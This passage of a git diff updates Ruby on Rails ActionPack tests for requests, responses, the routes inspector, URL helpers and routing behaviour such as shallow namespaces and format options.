- ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
- @trusted_proxies ||= nil
- ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
- tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
- ip_app.call(env)
- ActionDispatch::Http::URL.tld_length = tld_length
- ActionDispatch::Request.new(env)
+ assert_raise ArgumentError do
+ request.variant = [:phone, "tablet"]
+ end
+
+ assert_raise ArgumentError do
+ request.variant = "yolo"
+ end
+ end
+
+ test "setting variant with non symbol value" do
+ request = stub_request
+ assert_raise ArgumentError do
+ request.variant = "mobile"
+ end
end
end
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 185a9e9b18..48342e252a 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -1,4 +1,6 @@
require 'abstract_unit'
+require 'timeout'
+require 'rack/content_length'
class ResponseTest < ActiveSupport::TestCase
def setup
@@ -35,7 +37,7 @@ class ResponseTest < ActiveSupport::TestCase
end
def test_response_body_encoding
- body = ["hello".encode('utf-8')]
+ body = ["hello".encode(Encoding::UTF_8)]
response = ActionDispatch::Response.new 200, {}, body
assert_equal Encoding::UTF_8, response.body.encoding
end
@@ -129,7 +131,7 @@ class ResponseTest < ActiveSupport::TestCase
@response.set_cookie("login", :value => "foo&bar", :path => "/", :expires => Time.utc(2005, 10, 10,5))
status, headers, body = @response.to_a
- assert_equal "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT", headers["Set-Cookie"]
+ assert_equal "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000", headers["Set-Cookie"]
assert_equal({"login" => "foo&bar", "user_name" => "david"}, @response.cookies)
@response.delete_cookie("login")
@@ -178,6 +180,7 @@ class ResponseTest < ActiveSupport::TestCase
end
test "read x_frame_options, x_content_type_options and x_xss_protection" do
+ original_default_headers = ActionDispatch::Response.default_headers
begin
ActionDispatch::Response.default_headers = {
'X-Frame-Options' => 'DENY',
@@ -193,11 +196,12 @@ class ResponseTest < ActiveSupport::TestCase
assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
assert_equal('1;', resp.headers['X-XSS-Protection'])
ensure
- ActionDispatch::Response.default_headers = nil
+ ActionDispatch::Response.default_headers = original_default_headers
end
end
test "read custom default_header" do
+ original_default_headers = ActionDispatch::Response.default_headers
begin
ActionDispatch::Response.default_headers = {
'X-XX-XXXX' => 'Here is my phone number'
@@ -209,9 +213,58 @@ class ResponseTest < ActiveSupport::TestCase
assert_equal('Here is my phone number', resp.headers['X-XX-XXXX'])
ensure
- ActionDispatch::Response.default_headers = nil
+ ActionDispatch::Response.default_headers = original_default_headers
end
end
+
+ test "respond_to? accepts include_private" do
+ assert_not @response.respond_to?(:method_missing)
+ assert @response.respond_to?(:method_missing, true)
+ end
+
+ test "can be explicitly destructured into status, headers and an enumerable body" do
+ response = ActionDispatch::Response.new(404, { 'Content-Type' => 'text/plain' }, ['Not Found'])
+ status, headers, body = *response
+
+ assert_equal 404, status
+ assert_equal({ 'Content-Type' => 'text/plain' }, headers)
+ assert_equal ['Not Found'], body.each.to_a
+ end
+
+ test "[response].flatten does not recurse infinitely" do
+ Timeout.timeout(1) do # use a timeout to prevent it stalling indefinitely
+ status, headers, body = assert_deprecated { [@response].flatten }
+ assert_equal @response.status, status
+ assert_equal @response.headers, headers
+ assert_equal @response.body, body.each.to_a.join
+ end
+ end
+
+ test "compatibility with Rack::ContentLength" do
+ @response.body = 'Hello'
+ app = lambda { |env| @response.to_a }
+ env = Rack::MockRequest.env_for("/")
+
+ status, headers, body = app.call(env)
+ assert_nil headers['Content-Length']
+
+ status, headers, body = Rack::ContentLength.new(app).call(env)
+ assert_equal '5', headers['Content-Length']
+ end
+
+ test "implicit destructuring and Array conversion is deprecated" do
+ response = ActionDispatch::Response.new(404, { 'Content-Type' => 'text/plain' }, ['Not Found'])
+
+ assert_deprecated do
+ status, headers, body = response
+
+ assert_equal 404, status
+ assert_equal({ 'Content-Type' => 'text/plain' }, headers)
+ assert_equal ['Not Found'], body.each.to_a
+ end
+
+ assert_deprecated { response.to_ary }
+ end
end
class ResponseIntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
index 9f37701656..7ef513b0c8 100644
--- a/actionpack/test/dispatch/routing/concerns_test.rb
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -36,7 +36,8 @@ class RoutingConcernsTest < ActionDispatch::IntegrationTest
end
include Routes.url_helpers
- def app; Routes end
+ APP = RoutedRackApp.new Routes
+ def app; APP end
def test_accessing_concern_from_resources
get "/posts/1/comments"
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index a3034ce001..5910f364cc 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -1,5 +1,4 @@
-require 'minitest/autorun'
-require 'action_controller'
+require 'abstract_unit'
require 'rails/engine'
require 'action_dispatch/routing/inspector'
@@ -8,7 +7,6 @@ module ActionDispatch
class RoutesInspectorTest < ActiveSupport::TestCase
def setup
@set = ActionDispatch::Routing::RouteSet.new
- @inspector = ActionDispatch::Routing::RoutesInspector.new
app = ActiveSupport::OrderedOptions.new
app.config = ActiveSupport::OrderedOptions.new
app.config.assets = ActiveSupport::OrderedOptions.new
@@ -17,9 +15,18 @@ module ActionDispatch
Rails.stubs(:env).returns("development")
end
- def draw(&block)
+ def draw(options = {}, &block)
@set.draw(&block)
- @inspector.format(@set.routes)
+ inspector = ActionDispatch::Routing::RoutesInspector.new(@set.routes)
+ inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, options[:filter]).split("\n")
+ end
+
+ def test_json_regexp_converter
+ @set.draw do
+ get '/cart', :to => 'cart#show'
+ end
+ route = ActionDispatch::Routing::RouteWrapper.new(@set.routes.first)
+ assert_equal "^\\/cart(?:\\.([^\\/.?]+))?$", route.json_regexp
end
def test_displaying_routes_for_engines
@@ -37,34 +44,66 @@ module ActionDispatch
mount engine => "/blog", :as => "blog"
end
- expected = [
- "custom_assets GET /custom/assets(.:format) custom_assets#show",
- " blog /blog Blog::Engine",
- "\nRoutes for Blog::Engine:",
- "cart GET /cart(.:format) cart#show"
- ]
- assert_equal expected, output
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ "custom_assets GET /custom/assets(.:format) custom_assets#show",
+ " blog /blog Blog::Engine",
+ "",
+ "Routes for Blog::Engine:",
+ " cart GET /cart(.:format) cart#show"
+ ], output
+ end
+
+ def test_displaying_routes_for_engines_without_routes
+ engine = Class.new(Rails::Engine) do
+ def self.inspect
+ "Blog::Engine"
+ end
+ end
+ engine.routes.draw do
+ end
+
+ output = draw do
+ mount engine => "/blog", as: "blog"
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " blog /blog Blog::Engine",
+ "",
+ "Routes for Blog::Engine:"
+ ], output
end
def test_cart_inspect
output = draw do
get '/cart', :to => 'cart#show'
end
- assert_equal ["cart GET /cart(.:format) cart#show"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " cart GET /cart(.:format) cart#show"
+ ], output
end
def test_inspect_shows_custom_assets
output = draw do
get '/custom/assets', :to => 'custom_assets#show'
end
- assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ "custom_assets GET /custom/assets(.:format) custom_assets#show"
+ ], output
end
def test_inspect_routes_shows_resources_route
output = draw do
resources :articles
end
- expected = [
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
" articles GET /articles(.:format) articles#index",
" POST /articles(.:format) articles#create",
" new_article GET /articles/new(.:format) articles#new",
@@ -72,50 +111,97 @@ module ActionDispatch
" article GET /articles/:id(.:format) articles#show",
" PATCH /articles/:id(.:format) articles#update",
" PUT /articles/:id(.:format) articles#update",
- " DELETE /articles/:id(.:format) articles#destroy" ]
- assert_equal expected, output
+ " DELETE /articles/:id(.:format) articles#destroy"
+ ], output
end
def test_inspect_routes_shows_root_route
output = draw do
root :to => 'pages#main'
end
- assert_equal ["root GET / pages#main"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " root GET / pages#main"
+ ], output
end
def test_inspect_routes_shows_dynamic_action_route
output = draw do
get 'api/:action' => 'api'
end
- assert_equal [" GET /api/:action(.:format) api#:action"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /api/:action(.:format) api#:action"
+ ], output
end
def test_inspect_routes_shows_controller_and_action_only_route
output = draw do
get ':controller/:action'
end
- assert_equal [" GET /:controller/:action(.:format) :controller#:action"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /:controller/:action(.:format) :controller#:action"
+ ], output
end
def test_inspect_routes_shows_controller_and_action_route_with_constraints
output = draw do
get ':controller(/:action(/:id))', :id => /\d+/
end
- assert_equal [" GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
+ ], output
end
def test_rake_routes_shows_route_with_defaults
output = draw do
get 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
end
- assert_equal [%Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ %Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]
+ ], output
end
def test_rake_routes_shows_route_with_constraints
output = draw do
get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
end
- assert_equal [" GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+ ], output
+ end
+
+ def test_rake_routes_shows_routes_with_dashes
+ output = draw do
+ get 'about-us' => 'pages#about_us'
+ get 'our-work/latest'
+
+ resources :photos, only: [:show] do
+ get 'user-favorites', on: :collection
+ get 'preview-photo', on: :member
+ get 'summary-text'
+ end
+ end
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ " about_us GET /about-us(.:format) pages#about_us",
+ " our_work_latest GET /our-work/latest(.:format) our_work#latest",
+ "user_favorites_photos GET /photos/user-favorites(.:format) photos#user_favorites",
+ " preview_photo_photo GET /photos/:id/preview-photo(.:format) photos#preview_photo",
+ " photo_summary_text GET /photos/:photo_id/summary-text(.:format) photos#summary_text",
+ " photo GET /photos/:id(.:format) photos#show"
+ ], output
end
class RackApp
@@ -127,7 +213,11 @@ module ActionDispatch
output = draw do
get 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
end
- assert_equal [" GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
+ ], output
end
def test_rake_routes_shows_route_with_rack_app_nested_with_dynamic_constraints
@@ -143,7 +233,10 @@ module ActionDispatch
end
end
- assert_equal [" /foo #{RackApp.name} {:constraint=>( my custom constraint )}"], output
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " foo /foo #{RackApp.name} {:constraint=>( my custom constraint )}"
+ ], output
end
def test_rake_routes_dont_show_app_mounted_in_assets_prefix
@@ -154,6 +247,18 @@ module ActionDispatch
assert_no_match(/\/sprockets/, output.first)
end
+ def test_rake_routes_shows_route_defined_in_under_assets_prefix
+ output = draw do
+ scope '/sprockets' do
+ get '/foo' => 'foo#bar'
+ end
+ end
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " foo GET /sprockets/foo(.:format) foo#bar"
+ ], output
+ end
+
def test_redirect
output = draw do
get "/foo" => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
@@ -161,9 +266,38 @@ module ActionDispatch
get "/foobar" => redirect{ "/foo/bar" }
end
- assert_equal " foo GET /foo(.:format) redirect(301, /foo/bar) {:subdomain=>\"admin\"}", output[0]
- assert_equal " bar GET /bar(.:format) redirect(307, path: /foo/bar)", output[1]
- assert_equal "foobar GET /foobar(.:format) redirect(301)", output[2]
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " foo GET /foo(.:format) redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+ " bar GET /bar(.:format) redirect(307, path: /foo/bar)",
+ "foobar GET /foobar(.:format) redirect(301)"
+ ], output
+ end
+
+ def test_routes_can_be_filtered
+ output = draw(filter: 'posts') do
+ resources :articles
+ resources :posts
+ end
+
+ assert_equal [" Prefix Verb URI Pattern Controller#Action",
+ " posts GET /posts(.:format) posts#index",
+ " POST /posts(.:format) posts#create",
+ " new_post GET /posts/new(.:format) posts#new",
+ "edit_post GET /posts/:id/edit(.:format) posts#edit",
+ " post GET /posts/:id(.:format) posts#show",
+ " PATCH /posts/:id(.:format) posts#update",
+ " PUT /posts/:id(.:format) posts#update",
+ " DELETE /posts/:id(.:format) posts#destroy"], output
+ end
+
+ def test_regression_route_with_controller_regexp
+ output = draw do
+ get ':controller(/:action)', controller: /api\/[^\/]+/, format: false
+ end
+
+ assert_equal ["Prefix Verb URI Pattern Controller#Action",
+ " GET /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
end
end
end
diff --git a/actionpack/test/dispatch/routing/route_set_test.rb b/actionpack/test/dispatch/routing/route_set_test.rb
new file mode 100644
index 0000000000..5a39119446
--- /dev/null
+++ b/actionpack/test/dispatch/routing/route_set_test.rb
@@ -0,0 +1,193 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Routing
+ class RouteSetTest < ActiveSupport::TestCase
+ class SimpleApp
+ def initialize(response)
+ @response = response
+ end
+
+ def call(env)
+ [ 200, { 'Content-Type' => 'text/plain' }, [response] ]
+ end
+ end
+
+ setup do
+ @set = RouteSet.new
+ end
+
+ test "url helpers are added when route is added" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_raises NoMethodError do
+ assert_equal '/bar', url_helpers.bar_path
+ end
+
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ get 'bar', to: SimpleApp.new('bar#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_equal '/bar', url_helpers.bar_path
+ end
+
+ test "url helpers are updated when route is updated" do
+ draw do
+ get 'bar', to: SimpleApp.new('bar#index'), as: :bar
+ end
+
+ assert_equal '/bar', url_helpers.bar_path
+
+ draw do
+ get 'baz', to: SimpleApp.new('baz#index'), as: :bar
+ end
+
+ assert_equal '/baz', url_helpers.bar_path
+ end
+
+ test "url helpers are removed when route is removed" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ get 'bar', to: SimpleApp.new('bar#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_equal '/bar', url_helpers.bar_path
+
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_path
+ assert_raises NoMethodError do
+ assert_equal '/bar', url_helpers.bar_path
+ end
+ end
+
+ test "only_path: true with *_url and no :host option" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal '/foo', url_helpers.foo_url(only_path: true)
+ end
+
+ test "only_path: false with *_url and no :host option" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_raises ArgumentError do
+ assert_equal 'http://example.com/foo', url_helpers.foo_url(only_path: false)
+ end
+ end
+
+ test "only_path: false with *_url and local :host option" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal 'http://example.com/foo', url_helpers.foo_url(only_path: false, host: 'example.com')
+ end
+
+ test "only_path: false with *_url and global :host option" do
+ @set.default_url_options = { host: 'example.com' }
+
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_equal 'http://example.com/foo', url_helpers.foo_url(only_path: false)
+ end
+
+ test "only_path: true with *_path" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_deprecated do
+ assert_equal '/foo', url_helpers.foo_path(only_path: true)
+ end
+ end
+
+ test "only_path: false with *_path with global :host option" do
+ @set.default_url_options = { host: 'example.com' }
+
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_deprecated do
+ assert_equal 'http://example.com/foo', url_helpers.foo_path(only_path: false)
+ end
+ end
+
+ test "only_path: false with *_path with local :host option" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_deprecated do
+ assert_equal 'http://example.com/foo', url_helpers.foo_path(only_path: false, host: 'example.com')
+ end
+ end
+
+ test "only_path: false with *_path with no :host option" do
+ draw do
+ get 'foo', to: SimpleApp.new('foo#index')
+ end
+
+ assert_deprecated do
+ assert_raises ArgumentError do
+ assert_equal 'http://example.com/foo', url_helpers.foo_path(only_path: false)
+ end
+ end
+ end
+
+ test "explicit keys win over implicit keys" do
+ draw do
+ resources :foo do
+ resources :bar, to: SimpleApp.new('foo#show')
+ end
+ end
+
+ assert_equal '/foo/1/bar/2', url_helpers.foo_bar_path(1, 2)
+ assert_equal '/foo/1/bar/2', url_helpers.foo_bar_path(2, foo_id: 1)
+ end
+
+ test "stringified controller and action keys are properly symbolized" do
+ draw do
+ root 'foo#bar'
+ end
+
+ assert_deprecated do
+ assert_equal '/', url_helpers.root_path('controller' => 'foo', 'action' => 'bar')
+ end
+ end
+
+ test "mix of string and symbol keys are properly symbolized" do
+ draw do
+ root 'foo#bar'
+ end
+
+ assert_deprecated do
+ assert_equal '/', url_helpers.root_path('controller' => 'foo', :action => 'bar')
+ end
+ end
+
+ private
+ def draw(&block)
+ @set.draw(&block)
+ end
+
+ def url_helpers
+ @set.url_helpers
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/routing_assertions_test.rb b/actionpack/test/dispatch/routing_assertions_test.rb
index aea4489852..56ea644f22 100644
--- a/actionpack/test/dispatch/routing_assertions_test.rb
+++ b/actionpack/test/dispatch/routing_assertions_test.rb
@@ -74,10 +74,26 @@ class RoutingAssertionsTest < ActionController::TestCase
assert_recognizes({ :controller => 'query_articles', :action => 'index', :use_query => 'true' }, '/query/articles', { :use_query => 'true' })
end
+ def test_assert_recognizes_raises_message
+ err = assert_raise(Assertion) do
+ assert_recognizes({ :controller => 'secure_articles', :action => 'index' }, 'http://test.host/secure/articles', {}, "This is a really bad msg")
+ end
+
+ assert_match err.message, "This is a really bad msg"
+ end
+
def test_assert_routing
assert_routing('/articles', :controller => 'articles', :action => 'index')
end
+ def test_assert_routing_raises_message
+ err = assert_raise(Assertion) do
+ assert_routing('/thisIsNotARoute', { :controller => 'articles', :action => 'edit', :id => '1' }, { :id => '1' }, {}, "This is a really bad msg")
+ end
+
+ assert_match err.message, "This is a really bad msg"
+ end
+
def test_assert_routing_with_defaults
assert_routing('/articles/1/edit', { :controller => 'articles', :action => 'edit', :id => '1' }, { :id => '1' })
end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index cb5299e8d3..d0a624784a 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -14,6 +14,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
+ class GrumpyRestrictor
+ def self.matches?(request)
+ false
+ end
+ end
+
class YoutubeFavoritesRedirector
def self.call(params, request)
"http://www.youtube.com/watch?v=#{params[:youtube_id]}"
@@ -89,6 +95,24 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
verify_redirect 'http://www.example.com/private/index'
end
+ def test_redirect_with_failing_constraint
+ draw do
+ get 'hi', to: redirect("/foo"), constraints: ::TestRoutingMapper::GrumpyRestrictor
+ end
+
+ get '/hi'
+ assert_equal 404, status
+ end
+
+ def test_redirect_with_passing_constraint
+ draw do
+ get 'hi', to: redirect("/foo"), constraints: ->(req) { true }
+ end
+
+ get '/hi'
+ assert_equal 301, status
+ end
+
def test_namespace_with_controller_segment
assert_raise(ArgumentError) do
draw do
@@ -99,6 +123,16 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
+ def test_namespace_without_controller_segment
+ draw do
+ namespace :admin do
+ get 'hello/:controllers/:action'
+ end
+ end
+ get '/admin/hello/foo/new'
+ assert_equal 'foo', @request.params["controllers"]
+ end
+
def test_session_singleton_resource
draw do
resource :session do
@@ -351,8 +385,8 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
draw do
controller(:global) do
get 'global/hide_notice'
- get 'global/export', :to => :export, :as => :export_request
- get '/export/:id/:file', :to => :export, :as => :export_download, :constraints => { :file => /.*/ }
+ get 'global/export', :action => :export, :as => :export_request
+ get '/export/:id/:file', :action => :export, :as => :export_download, :constraints => { :file => /.*/ }
get 'global/:action'
end
end
@@ -720,8 +754,8 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
draw do
resources :replies do
member do
- put :answer, :to => :mark_as_answer
- delete :answer, :to => :unmark_as_answer
+ put :answer, :action => :mark_as_answer
+ delete :answer, :action => :unmark_as_answer
end
end
end
@@ -1031,12 +1065,154 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'users/home#index', @response.body
end
+ def test_namespaced_shallow_routes_with_module_option
+ draw do
+ namespace :foo, module: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', foo_posts_path
+ assert_equal 'bar/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', foo_post_path('1')
+ assert_equal 'bar/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'bar/comments#index', @response.body
+
+ get '/foo/comments/2'
+ assert_equal '/foo/comments/2', foo_comment_path('2')
+ assert_equal 'bar/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_path_option
+ draw do
+ namespace :foo, path: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/bar/posts'
+ assert_equal '/bar/posts', foo_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/bar/posts/1'
+ assert_equal '/bar/posts/1', foo_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/bar/posts/1/comments'
+ assert_equal '/bar/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/bar/comments/2'
+ assert_equal '/bar/comments/2', foo_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_as_option
+ draw do
+ namespace :foo, as: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', bar_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', bar_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', bar_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/foo/comments/2'
+ assert_equal '/foo/comments/2', bar_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_shallow_path_option
+ draw do
+ namespace :foo, shallow_path: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', foo_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', foo_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/bar/comments/2'
+ assert_equal '/bar/comments/2', foo_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_shallow_prefix_option
+ draw do
+ namespace :foo, shallow_prefix: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', foo_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', foo_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/foo/comments/2'
+ assert_equal '/foo/comments/2', bar_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespace_containing_numbers
+ draw do
+ namespace :v2 do
+ resources :subscriptions
+ end
+ end
+
+ get '/v2/subscriptions'
+ assert_equal 'v2/subscriptions#index', @response.body
+ assert_equal '/v2/subscriptions', v2_subscriptions_path
+ end
+
def test_articles_with_id
draw do
controller :articles do
scope '/articles', :as => 'article' do
scope :path => '/:title', :title => /[a-z]+/, :as => :with_title do
- get '/:id', :to => :with_id, :as => ""
+ get '/:id', :action => :with_id, :as => ""
end
end
end
@@ -1090,6 +1266,70 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'projects#index', @response.body
end
+ def test_scoped_root_as_name
+ draw do
+ scope '(:locale)', :locale => /en|pl/ do
+ root :to => 'projects#index', :as => 'projects'
+ end
+ end
+
+ assert_equal '/en', projects_path(:locale => 'en')
+ assert_equal '/', projects_path
+ get '/en'
+ assert_equal 'projects#index', @response.body
+ end
+
+ def test_scope_with_format_option
+ draw do
+ get "direct/index", as: :no_format_direct, format: false
+
+ scope format: false do
+ get "scoped/index", as: :no_format_scoped
+ end
+ end
+
+ assert_equal "/direct/index", no_format_direct_path
+ assert_equal "/direct/index?format=html", no_format_direct_path(format: "html")
+
+ assert_equal "/scoped/index", no_format_scoped_path
+ assert_equal "/scoped/index?format=html", no_format_scoped_path(format: "html")
+
+ get '/scoped/index'
+ assert_equal "scoped#index", @response.body
+
+ get '/scoped/index.html'
+ assert_equal "Not Found", @response.body
+ end
+
+ def test_resources_with_format_false_from_scope
+ draw do
+ scope format: false do
+ resources :posts
+ resource :user
+ end
+ end
+
+ get "/posts"
+ assert_response :success
+ assert_equal "posts#index", @response.body
+ assert_equal "/posts", posts_path
+
+ get "/posts.html"
+ assert_response :not_found
+ assert_equal "Not Found", @response.body
+ assert_equal "/posts?format=html", posts_path(format: "html")
+
+ get "/user"
+ assert_response :success
+ assert_equal "users#show", @response.body
+ assert_equal "/user", user_path
+
+ get "/user.html"
+ assert_response :not_found
+ assert_equal "Not Found", @response.body
+ assert_equal "/user?format=html", user_path(format: "html")
+ end
+
def test_index
draw do
get '/info' => 'projects#info', :as => 'info'
@@ -1100,6 +1340,21 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'projects#info', @response.body
end
+ def test_match_with_many_paths_containing_a_slash
+ draw do
+ get 'get/first', 'get/second', 'get/third', :to => 'get#show'
+ end
+
+ get '/get/first'
+ assert_equal 'get#show', @response.body
+
+ get '/get/second'
+ assert_equal 'get#show', @response.body
+
+ get '/get/third'
+ assert_equal 'get#show', @response.body
+ end
+
def test_match_shorthand_with_no_scope
draw do
get 'account/overview'
@@ -1122,6 +1377,20 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'account#shorthand', @response.body
end
+ def test_match_shorthand_with_multiple_paths_inside_namespace
+ draw do
+ namespace :proposals do
+ put 'activate', 'inactivate'
+ end
+ end
+
+ put '/proposals/activate'
+ assert_equal 'proposals#activate', @response.body
+
+ put '/proposals/inactivate'
+ assert_equal 'proposals#inactivate', @response.body
+ end
+
def test_match_shorthand_inside_namespace_with_controller
draw do
namespace :api do
@@ -1134,6 +1403,46 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'api/products#list', @response.body
end
+ def test_match_shorthand_inside_scope_with_variables_with_controller
+ draw do
+ scope ':locale' do
+ match 'questions/new', via: [:get]
+ end
+ end
+
+ get '/de/questions/new'
+ assert_equal 'questions#new', @response.body
+ assert_equal 'de', @request.params[:locale]
+ end
+
+ def test_match_shorthand_inside_nested_namespaces_and_scopes_with_controller
+ draw do
+ namespace :api do
+ namespace :v3 do
+ scope ':locale' do
+ get "products/list"
+ end
+ end
+ end
+ end
+
+ get '/api/v3/en/products/list'
+ assert_equal 'api/v3/products#list', @response.body
+ end
+
+ def test_controller_option_with_nesting_and_leading_slash
+ draw do
+ scope '/job', controller: 'job' do
+ scope ':id', action: 'manage_applicant' do
+ get "/active"
+ end
+ end
+ end
+
+ get '/job/5/active'
+ assert_equal 'job#manage_applicant', @response.body
+ end
+
def test_dynamically_generated_helpers_on_collection_do_not_clobber_resources_url_helper
draw do
resources :replies do
